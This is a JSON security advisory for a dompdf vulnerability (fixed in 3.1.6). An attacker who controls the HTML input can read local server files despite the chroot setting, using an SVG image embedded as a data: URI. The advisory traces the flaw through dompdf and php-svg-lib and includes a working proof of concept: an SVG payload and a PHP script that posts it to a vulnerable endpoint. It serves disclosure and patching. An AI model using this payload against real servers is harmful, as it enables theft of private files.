{"id":"GHSA-cx96-42px-69fm","aliases":["CVE-2026-56722"],"title":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","description":"**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this->setChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n<!-- BLOCKED: /tmp/ is outside chroot -->\n<img src=\"file:///tmp/secret.png\">\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:` URI:\n\n_Listing 3. Wrapping link in SVG_\n```\n<img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...\">\n```\nInside the base64 payload is an SVG containing the `<image>` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n     width=\"589\" height=\"415\">\n  <image xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/>\n</svg>\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does.\n\n**Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n    break;  // no rules\n```\n\nSVG content passes without any checks.\n\n**Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc->allowExternalReferences = true;  // forced\n$doc->loadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `<image>` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n    || ($this->document->allowExternalReferences === false && $scheme !== \"data\")) {\n    return;\n}\n$this->document->getSurface()->drawImage($this->href, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image);  // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . '/vendor/autoload.php';\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf->loadHtml($_POST['html']);\n$dompdf->render();\n$dompdf->stream('poc.pdf', ['Attachment' => false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\">'\n     . '<image xlink:href=\"' . htmlspecialchars($file, ENT_QUOTES) . '\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/>'\n     . '</svg>';\n\n$html = '<html><body>'\n      . '<img src=\"data:image/svg+xml;base64,' . base64_encode($svg) . '\">'\n      . '</body></html>';\n\n$url = 'http://example.com/html2pdf.php';\n$data = ['html' => $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' => [\n        'header' => $headers,\n        'method' => 'POST',\n        'content' => http_build_query($data),\n        'ignore_errors' => true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n<img width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" />\n\n## Credits\nNikita Sveshnikov (Positive Technologies)","severity":"medium","score":6.3,"published":"2026-07-22T21:30:01.000Z","modified":"2026-07-22T21:56:47.303Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"dompdf/dompdf","ranges":[{"events":[{"introduced":"0"},{"fixed":"3.1.6"}],"type":"ECOSYSTEM"}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"],"fixed":["3.1.6"]}],"references":["https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm","https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0","https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a","https://github.com/dompdf/dompdf","https://github.com/dompdf/dompdf/releases/tag/v3.1.6"],"sources":[{"name":"OSV","id":"GHSA-cx96-42px-69fm","modified":"2026-07-22T21:56:47.303947Z","url":"https://osv.dev/vulnerability/GHSA-cx96-42px-69fm"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.3}]}